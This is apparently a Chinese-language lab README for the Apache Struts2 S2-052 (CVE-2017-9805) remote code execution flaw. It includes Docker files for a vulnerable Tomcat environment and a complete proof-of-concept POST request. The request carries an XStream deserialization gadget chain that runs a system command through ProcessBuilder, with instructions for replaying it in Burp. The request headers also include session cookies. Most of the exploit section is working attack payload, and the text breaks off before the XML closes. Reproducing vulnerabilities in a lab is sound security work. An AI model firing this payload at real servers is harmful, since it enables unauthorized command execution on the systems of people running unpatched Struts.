S2-052（CVE-2017-9805）

S2-052（CVE-2017-9805）

struts2 052远程代码执行漏洞POC利用（影响版本：Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12） 官方介绍：https://cwiki.apache.org/confluence/display/WW/S2-052 此POC是在struts-2.5.12版本测试验证的。

测试环境搭建

├── docker-compose.yml
├── Dockerfile
├── poc.txt
├── README.md
└── S2-052.war

docker-compose build
docker-compose up -d

Dockerfile

FROM kk98kk0/tomcat:9.0

MAINTAINER phithon <root@leavesongs.com>(借鉴leavesongs.comDocker配置)

RUN set -ex \
    && rm -rf /usr/local/tomcat/webapps/* \
    && chmod a+x /usr/local/tomcat/bin/*.sh

COPY S2-052.war /usr/local/tomcat/webapps/ROOT.war
EXPOSE 8080

docker-compose.yml

version: '2'
services:
 struts2:
   build: .
   ports:
    - "8080:8080"

POC

http://10.160.11.191:8080/orders.xhtml

burpsuite抓包：
进入到修改界面，点击”提交”抓包，然后修改Content-Type为application/xml格式，post数据替换为poc中data提交。
Notes:
Windows下关键字为：

calc
Mac下关键字为：

/Applications/Calculator.app/Contents/MacOS/Calculator

POC

POST /orders/3 HTTP/1.1
Host: 10.160.11.191:8080
Proxy-Connection: keep-alive
Content-Length: 2014
Cache-Control: max-age=0
Origin: http://10.160.11.191:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
Content-Type: application/xml
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://10.160.11.191:8080/orders/3/edit
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: _gitlab_session=de4e739c66f5b892f6386a2d2689486b; JSESSIONID=10830E7168FBEAE80396A8E748587042

<map> 
    <entry> 
        <jdk.nashorn.internal.objects.NativeString>
            <flags>0</flags>
            <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
                <dataHandler>
                    <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
                        <is class="javax.crypto.CipherInputStream">
                            <cipher class="javax.crypto.NullCipher">
                                <initialized>false</initialized>
                                <opmode>0</opmode>
                                <serviceIterator class="javax.imageio.spi.FilterIterator">
                                    <iter class="javax.imageio.spi.FilterIterator">
                                        <iter class="java.util.Collections$EmptyIterator"/>
                                        <next class="java.lang.ProcessBuilder">
                                            <command>
                                                <string>ls</string>
                                            </command>
                                            <redirectErrorStream>false</redirectErrorStream>
                                        </next>
                                    </iter>
                                    <filter class="javax.imageio.ImageIO$ContainsFilter">
                                        <method>
                                            <class>java.lang.ProcessBuilder</class>
                                            <name>start</name>
                                            <parameter-types/>
                                        </method>
                                        <name>foo</name>
                                    </filter>
                                    <next class="string">foo</next>
                                </serviceIterator>
                                <lock/>
                            </cipher>
                            <input class="java.lang.ProcessBuilder$NullInputStream"/>
                            <ibuffer></ibuffer>
                            <done>false</done>
                            <ostart>0</ostart>
                            <ofinish>0</ofinish>
                            <closed>false</closed>
                        </is>
                        <consumed>false</consumed>
                    </dataSource>
                    <transferFlavors/>
                </dataHandler>
                <dataLen>0</dataLen>
            </value>
        </jdk.nashorn.internal.objects.NativeString>
        <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
    </entry>
    <entry>
        <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
        <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 
    </entry>